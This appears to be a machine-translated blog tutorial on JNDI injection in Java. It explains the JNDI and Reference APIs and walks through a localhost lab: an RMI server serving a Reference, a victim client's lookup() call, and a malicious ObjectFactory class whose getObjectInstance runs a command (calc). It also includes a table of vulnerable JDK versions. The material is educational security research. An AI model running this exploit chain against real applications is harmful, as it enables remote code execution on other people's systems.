[java security] JNDI injection overview

[java security] JNDI injection overview

What is JNDI?

JNDI(Java Naming and Directory Interface)is the naming and directory interface Javaprovided . Resources and other program objects can be located Javaby calling JNDI.API

Naming services associate names with objects so that we can access objects by name

Structure of JDNI

The role of jndi is mainly "positioning". Such as locating objects registered in rmi, accessing directory services of ldap, etc.

In fact, it can be understood as a client of the following services:

image-20230819204116339

There are several key elements

  • Name, to look up the object in the naming system, give it the name of the object
  • Bind, the association between a name and an object is called binding, for example, in the file system, the file name is bound to the corresponding file, and in the DNS, the domain name is bound to the corresponding IP
  • Context, context, a context corresponds to a set of binding relationships between names and objects , we can find the object corresponding to the name in the specified context. For example, in a file system, a directory is a context in which files can be found, and subdirectories can also be called subcontexts
  • References, in an actual name service, some objects may not be directly stored in the system, then they are stored in the form of references, which can be understood as pointers in C

These naming/directory service providers:

protocol effect
LDAP Lightweight directory access protocol, which stipulates the format of information exchange between Client and Server, the port number used, authentication method, etc.
RMI JAVA remote method protocol, which is used for remote calling application programming interface, so that the program running on the client can call the object on the remote server
DNS domain name service
CORBA Common Object Request Broker Architecture

Java JDKFive packages are provided in it, and JNDIthe functions provided are realized, namely:

javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 ContextBindingsReferences、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

InitialContext - context

Construction method:

//构建一个初始上下文。
InitialContext() 
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) 
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 

Common methods:

//将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name)  
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name)  

Example:

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    
    
    public static void main(String[] args) throws NamingException {
    
    
      	// 构建初始上下文
        InitialContext initialContext = new InitialContext();
      	// 查询命名对象
        String uri = "rmi://127.0.0.1:1099/work";
        initialContext.lookup(uri);
    }
}

Reference - a reference

ReferenceA class represents a reference to an object that exists outside the naming/directory system . Specifically, if RMIthe object on the remote acquisition server is Referencea class or its subclass, it can be class字节码instantiated by loading files from other servers.

Construction method:

//为类名为“className”的对象构造一个新的引用。
Reference(String className) 
//为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

Common methods:

//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr) 
//将地址添加到地址列表的末尾。 
void add(RefAddr addr) 
//从此引用中删除所有地址。  
void clear() 
//检索索引posn上的地址。 
RefAddr get(int posn) 
//检索地址类型为“addrType”的第一个地址。  
RefAddr get(String addrType) 
//检索本参考文献中地址的列举。 
Enumeration<RefAddr> getAll() 
//检索引用引用的对象的类名。 
String getClassName() 
//检索此引用引用的对象的工厂位置。  
String getFactoryClassLocation() 
//检索此引用引用对象的工厂的类名。  
String getFactoryClassName() 
//从地址列表中删除索引posn上的地址。    
Object remove(int posn) 
//检索此引用中的地址数。 
int size() 
//生成此引用的字符串表示形式。
String toString() 

Example:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    
    
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
    
    
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);
    }
}

ReferenceAfter it is created here, ReferenceWrapperit is called and passed in. Why do you do this?

Because when we learned earlier RMI, registering a class to Registrythe class used must inherit UnicastRemoteObjectthe class and implement Remotethe interface

ReferenceBut we are not satisfied here , so we need to use ReferenceWrapperit to encapsulate it

public class Reference implements Cloneable, java.io.Serializable
...
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference 

JNDI injection

JNDI injection, that is, when the developer defines JNDIthe initialization of the interface, lookup()the parameters of the method are controllable, and the attacker can urlremotely load malicious loads with malicious incoming parameters, causing injection attacks.

The process of JNDI injection is as follows:

  • The client program is invoked InitialContext.lookup(url)and the url can be controlled by input, pointing to the well-constructed RMI service address
  • The malicious RMI service will return a Reference to the attacked client to obtain the malicious Factory class
  • When the client performs lookup, the client will obtain the corresponding instance object factoryof factory.getObjectInstance()the external remote object
  • The attacker getObjectInstance()writes malicious code in the construction method, static code block, method, etc. of the Factory class file to achieve the effect of remote code execution
  • Since Factory is to be used, the malicious class needs to implement ObjectFactorythe interface

Specific attack flow chart:

image-20230819222344477

JNDI injection has corresponding restrictions on the JAVA version, and the specific available versions are as follows:

protocol JDK6 JDK7 JDK8 JDK11
LADP Below 6u211 Below 7u201 Below 8u191 11.0.1 and below
RMI Below 6u132 Below 7u122 Below 8u113 none

JNDI & RMI

Use version:

JDK 6u132, 7u122, 8u113before can

JNDI injection using Reference

First build a server:RMIServer

The creation of the server, follow the steps

  • The first is the registration center
  • Then the address of the malicious class
  • Then create a Reference object reference and bind the address of the malicious class
  • Binding Name
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    
    
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
    
    
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:1098/";
        Reference reference = new Reference("EvilClass", "EvilClass", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("class",referenceWrapper);
    }
}

Then build a client RMIClient(the client is also the victim):

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
    
    
    public static void main(String[] args) throws NamingException {
    
    
        InitialContext context = new InitialContext();
        String url = "rmi://127.0.0.1:1099/class";
        context.lookup(url);
    }
}

Then a malicious class needs to be created:

Implement ObjectFactorythe interface and write malicious code in getObjectInstanceit

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    
    
    static {
    
    
        System.out.println("hello,static~");
    }
    public EvilClass() throws IOException {
    
    
        System.out.println("constructor~");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    
    
        Runtime.getRuntime().exec("calc");
        System.out.println("hello,getObjectInstance~");
        return null;
    }
}

After setting up, we first run the server: (note the jdk version)

image-20230820155446021

Then we will EvilClasscompile and start an http service using python:

image-20230820155647771

Then we run the client RMIClient:

image-20230820155815498

We found that the code has been successfully executed, and it is executed on the client side

You can refer to this mind map:

image-20221028115108761

Guess you like

Origin blog.csdn.net/qq_61839115/article/details/132477259